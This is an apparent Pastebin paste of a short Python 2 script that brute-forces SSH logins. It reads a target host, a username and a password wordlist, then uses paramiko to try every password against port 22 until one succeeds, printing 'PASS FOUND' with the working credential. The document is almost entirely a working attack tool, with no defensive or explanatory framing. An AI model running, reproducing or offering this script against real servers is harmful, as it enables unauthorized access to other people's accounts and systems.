Guest User

Untitled

a guest
Apr 13th, 2018
130
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.18 KB | None | 0 0
  1. import paramiko, sys, os, socket
  2.  
  3. global host, username, line, input_file
  4.  
  5. line = "\n-------------------------------------------\n"
  6.  
  7. try:
  8. host = raw_input("Host: ")
  9. username = raw_input("Username: ")
  10. input_file = raw_input("WordList: ")
  11.  
  12. if os.path.exists(input_file) == False:
  13. print ("\n WordList Does Not Exist")
  14. sys.exit(4)
  15. except KeyboardInterrupt:
  16. print ("\n\n Exiting")
  17. sys.exit(3)
  18.  
  19. def ssh_connect(password, code = 0):
  20. ssh = paramiko.SSHClient()
  21. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  22.  
  23. try:
  24. ssh.connect(host, port=22, username=username, password=password)
  25. except paramiko.AuthenticationException:
  26. code = 1
  27. except socket.error, e:
  28. code = 2
  29.  
  30. ssh.close()
  31. return code
  32.  
  33. input_file = open(input_file)
  34.  
  35. print("%s " % (line))
  36.  
  37. for i in input_file.readlines():
  38. password = i.strip("\n")
  39. try:
  40. response = ssh_connect(password)
  41.  
  42. if response == 0:
  43. print("%s User: %s [!!!!!!!] PASS FOUND: %s%s" % (line, username, password, line))
  44. sys.exit(0)
  45. elif response == 1:
  46. print("User: %s || Pass= %s == Incorrect!" % (username, password))
  47. elif response == 2:
  48. print(" Connection Failed ")
  49. sys.exit(2)
  50. except Exception, e:
  51. print e
  52. pass
  53.  
  54. input_file.close()
Add Comment
Please, Sign In to add comment